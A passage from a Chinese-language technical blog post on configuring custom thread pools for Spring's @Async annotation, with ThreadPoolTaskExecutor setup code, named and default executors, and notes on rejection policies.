26px;">this</span>.getThreadPriority());<br>&nbsp;&nbsp;thread.setDaemon(<span style="color: #569CD6;line-height: 26px;">this</span>.isDaemon());<br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">return</span>&nbsp;thread;<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">我们也可以直接通过上面的控制台日志观察,每次打印的线程名都是[task-1]、[task-2]、[task-3]、[task-4].....递增的。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">正因如此,所以我们在使用Spring中的@Async异步框架时一定要自定义线程池,替代默认的<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">SimpleAsyncTaskExecutor</code>。</p> <blockquote data-tool="mdnice编辑器" style="border-top: none;border-bottom: none;font-size: 0.9em;overflow: auto;color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgba(0, 0, 0, 0.65);border-right: 1px solid rgba(0, 0, 0, 0.65);background: rgb(249, 249, 249);"> <p style="padding-top: 8px;padding-bottom: 8px;font-size: 14px;color: black;line-height: 26px;">Spring提供了多种线程池:</p> <ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-2"> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">SimpleAsyncTaskExecutor</code>:不是真的线程池,这个类不重用线程,每次调用都会创建一个新的线程。 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">SyncTaskExecutor</code>:这个类没有实现异步调用,只是一个同步操作。只适用于不需要多线程的地 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">ConcurrentTaskExecutor</code>:Executor的适配类,不推荐使用。如果ThreadPoolTaskExecutor不满足要求时,才用考虑使用这个类 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">ThreadPoolTaskScheduler</code>:可以使用cron表达式 </section></li> <li> <section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);"> <code style="font-size: 14px;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">ThreadPoolTaskExecutor</code> :最常使用,推荐。其实质是对java.util.concurrent.ThreadPoolExecutor的包装 </section></li> </ul> </blockquote> <h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;width: 3px;margin-left: 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">为@Async实现一个自定义线程池</a></span><span style="display: block;width: 3px;margin-left: 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #9B9B9B;line-height: 26px;">@Configuration</span><br><span style="color: #9B9B9B;line-height: 26px;">@EnableAsync</span><br><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">class</span>&nbsp;<span style="color: #DCDCDC;line-height: 26px;">SyncConfiguration</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@Bean</span>(name&nbsp;=&nbsp;<span style="color: #D69D85;line-height: 26px;">"asyncPoolTaskExecutor"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;ThreadPoolTaskExecutor&nbsp;<span style="line-height: 26px;">executor</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThreadPoolTaskExecutor&nbsp;taskExecutor&nbsp;=&nbsp;<span style="color: #569CD6;line-height: 26px;">new</span>&nbsp;ThreadPoolTaskExecutor();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//核心线程数</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setCorePoolSize(<span style="color: #B8D7A3;line-height: 26px;">10</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//线程池维护线程的最大数量,只有在缓冲队列满了之后才会申请超过核心线程数的线程</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setMaxPoolSize(<span style="color: #B8D7A3;line-height: 26px;">100</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//缓存队列</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setQueueCapacity(<span style="color: #B8D7A3;line-height: 26px;">50</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//许的空闲时间,当超过了核心线程出之外的线程在空闲时间到达之后会被销毁</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setKeepAliveSeconds(<span style="color: #B8D7A3;line-height: 26px;">200</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//异步方法内部线程名称</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setThreadNamePrefix(<span style="color: #D69D85;line-height: 26px;">"async-"</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">/**<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;当线程池的任务缓存队列已满并且线程池中的线程数目达到maximumPoolSize,如果还有任务到来就会采取任务拒绝策略<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;通常有以下四种策略:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.AbortPolicy:丢弃任务并抛出RejectedExecutionException异常。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.DiscardPolicy:也是丢弃任务,但是不抛出异常。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.DiscardOldestPolicy:丢弃队列最前面的任务,然后重新尝试执行任务(重复此过程)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.CallerRunsPolicy:重试添加当前的任务,自动重复调用 execute()&nbsp;方法,直到成功<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setRejectedExecutionHandler(<span style="color: #569CD6;line-height: 26px;">new</span>&nbsp;ThreadPoolExecutor.CallerRunsPolicy());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.initialize();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">return</span>&nbsp;taskExecutor;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">配置自定义线程池以后我们就可以大胆的使用<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async</code>提供的异步处理能力了。</p> <h2 data-tool="mdnice编辑器" style="font-size: 22px;text-align: center;font-weight: bold;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;margin: 70px 30px 30px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);"><span style="float: left;display: block;width: 90%;border-top: 1px solid #000;height: 1px;line-height: 1px;margin-left: -5px;margin-top: -17px;"> </span><span style="display: block;width: 3px;margin-left: 5%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear,left top,left bottom, from(rgba(0,0,0,0)),to(rgba(255,255,255,0.1)));"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">多个线程池处理</a></span><span style="display: block;width: 3px;margin-left: 95%;height: 3px;line-height: 3px;overflow: hidden;background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;"></span><span style="float: right;display: block;width: 90%;border-bottom: 1px solid #000;height: 1px;line-height: 1px;margin-right: -5px;margin-top: 16px;"> </span></h2> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在现实的互联网项目开发中,针对高并发的请求,一般的做法是高并发接口单独线程池隔离处理。</p> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">假设现在2个高并发接口:一个是修改用户信息接口,刷新用户redis缓存;一个是下订单接口,发送app push信息。往往会根据接口特征定义两个线程池,这时候我们在使用<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async</code>时就需要通过指定线程池名称进行区分。</p> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">为@Async指定线程池名字</a></span><span style="display: none;"></span></h3> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #9B9B9B;line-height: 26px;">@SneakyThrows</span><br><span style="color: #9B9B9B;line-height: 26px;">@Async</span>(<span style="color: #D69D85;line-height: 26px;">"asyncPoolTaskExecutor"</span>)<br><span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">void</span>&nbsp;<span style="line-height: 26px;">doTask1</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t1&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;Thread.sleep(<span style="color: #B8D7A3;line-height: 26px;">2000</span>);<br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t2&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;log.info(<span style="color: #D69D85;line-height: 26px;">"task1&nbsp;cost&nbsp;{}&nbsp;ms"</span>&nbsp;,&nbsp;t2-t1);<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当系统存在多个线程池时,我们也可以配置一个默认线程池,对于非默认的异步任务再通过<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">@Async("otherTaskExecutor")</code>来指定线程池名称。</p> <h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: none;"></span><span style="border-left: 4px solid;padding-left: 10px;"><a href="https://mp.weixin.qq.com/s?__biz=MzUzMTA2NTU2Ng==&amp;mid=2247487551&amp;idx=1&amp;sn=18f64ba49f3f0f9d8be9d1fdef8857d9&amp;scene=21#wechat_redirect" style="color: rgb(30, 107, 184);border-bottom: 1px solid rgb(30, 107, 184);" data-linktype="2">配置默认线程池</a></span><span style="display: none;"></span></h3> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">可以修改配置类让其实现<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">AsyncConfigurer</code>,并重写<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">getAsyncExecutor()</code>方法,指定默认线程池:</p> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #9B9B9B;line-height: 26px;">@Configuration</span><br><span style="color: #9B9B9B;line-height: 26px;">@EnableAsync</span><br><span style="color: #9B9B9B;line-height: 26px;">@Slf</span>4j<br><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #B8D7A3;line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">class</span>&nbsp;<span style="color: #DCDCDC;line-height: 26px;">AsyncConfiguration</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">implements</span>&nbsp;<span style="color: #DCDCDC;line-height: 26px;">AsyncConfigurer</span>&nbsp;</span>{<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@Bean</span>(name&nbsp;=&nbsp;<span style="color: #D69D85;line-height: 26px;">"asyncPoolTaskExecutor"</span>)<br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;ThreadPoolTaskExecutor&nbsp;<span style="line-height: 26px;">executor</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ThreadPoolTaskExecutor&nbsp;taskExecutor&nbsp;=&nbsp;<span style="color: #569CD6;line-height: 26px;">new</span>&nbsp;ThreadPoolTaskExecutor();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//核心线程数</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setCorePoolSize(<span style="color: #B8D7A3;line-height: 26px;">2</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//线程池维护线程的最大数量,只有在缓冲队列满了之后才会申请超过核心线程数的线程</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setMaxPoolSize(<span style="color: #B8D7A3;line-height: 26px;">10</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//缓存队列</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setQueueCapacity(<span style="color: #B8D7A3;line-height: 26px;">50</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//许的空闲时间,当超过了核心线程出之外的线程在空闲时间到达之后会被销毁</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setKeepAliveSeconds(<span style="color: #B8D7A3;line-height: 26px;">200</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">//异步方法内部线程名称</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setThreadNamePrefix(<span style="color: #D69D85;line-height: 26px;">"async-"</span>);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">/**<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;当线程池的任务缓存队列已满并且线程池中的线程数目达到maximumPoolSize,如果还有任务到来就会采取任务拒绝策略<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;通常有以下四种策略:<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.AbortPolicy:丢弃任务并抛出RejectedExecutionException异常。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.DiscardPolicy:也是丢弃任务,但是不抛出异常。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.DiscardOldestPolicy:丢弃队列最前面的任务,然后重新尝试执行任务(重复此过程)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* ThreadPoolExecutor.CallerRunsPolicy:重试添加当前的任务,自动重复调用 execute()&nbsp;方法,直到成功<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.setRejectedExecutionHandler(<span style="color: #569CD6;line-height: 26px;">new</span>&nbsp;ThreadPoolExecutor.CallerRunsPolicy());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;taskExecutor.initialize();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">return</span>&nbsp;taskExecutor;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #57A64A;font-style: italic;line-height: 26px;">/**<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*&nbsp;指定默认线程池<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*/</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@Override</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;Executor&nbsp;<span style="line-height: 26px;">getAsyncExecutor</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">return</span>&nbsp;executor();<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #9B9B9B;line-height: 26px;">@Override</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;AsyncUncaughtExceptionHandler&nbsp;<span style="line-height: 26px;">getAsyncUncaughtExceptionHandler</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">return</span>&nbsp;(ex,&nbsp;method,&nbsp;params)&nbsp;-&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;log.error(<span style="color: #D69D85;line-height: 26px;">"线程池执行任务发送未知错误,执行方法:{}"</span>,method.getName(),ex);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}<br></code></pre> <p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如下,<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">doTask1()</code>方法使用默认使用线程池<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">asyncPoolTaskExecutor</code>,<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">doTask2()</code>使用线程池<code style="padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;background-color: rgba(27, 31, 35, 0.05);font-family: &quot;Operator Mono&quot;, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(255, 100, 65);">otherTaskExecutor</code>,非常灵活。</p> <pre data-tool="mdnice编辑器" style="box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;border-radius: 4px;margin-top: 10px;margin-right: auto;margin-left: auto;"><span style="display: block;background: url(&quot;https://mmbiz.qpic.cn/mmbiz_svg/hzVGicX27IG31py8tnzh106rHPVuOPopiarLFWIElCNibyAtOlcicnYxsezZ24VRib03aqkKua96Fg0xWHMichFua6y1V5Zk2n5hj4/640?wx_fmt=svg&quot;) 10px 10px / 40px no-repeat rgb(30, 30, 30);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #DCDCDC;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #1E1E1E;border-radius: 5px;"><span style="color: #9B9B9B;line-height: 26px;">@Async</span><br><span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #569CD6;line-height: 26px;">void</span>&nbsp;<span style="line-height: 26px;">doTask1</span><span style="line-height: 26px;">()</span>&nbsp;</span>{<br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t1&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;Thread.sleep(<span style="color: #B8D7A3;line-height: 26px;">2000</span>);<br>&nbsp;&nbsp;<span style="color: #569CD6;line-height: 26px;">long</span>&nbsp;t2&nbsp;=&nbsp;System.currentTimeMillis();<br>&nbsp;&nbsp;log.info(<span style="color: #D69D85;line-height: 26px;">"task1&nbsp;cost&nbsp;{}&nbsp;ms"</span>&nbsp;,&nbsp;t2-t1);<br>}<br><br><span style="color: #9B9B9B;line-height: 26px;">@SneakyThrows</span><br><span style="color: #9B9B9B;line-height: 26px;">@Async</span>(<span style="color: #D69D85;line-height: 26px;">"otherTaskExecutor"</span>)<br><span style="line-height: 26px;"><span style="color: #569CD6;line-height: 26px;">public</span>&nbsp;<span style="color: #569CD6;line-height: 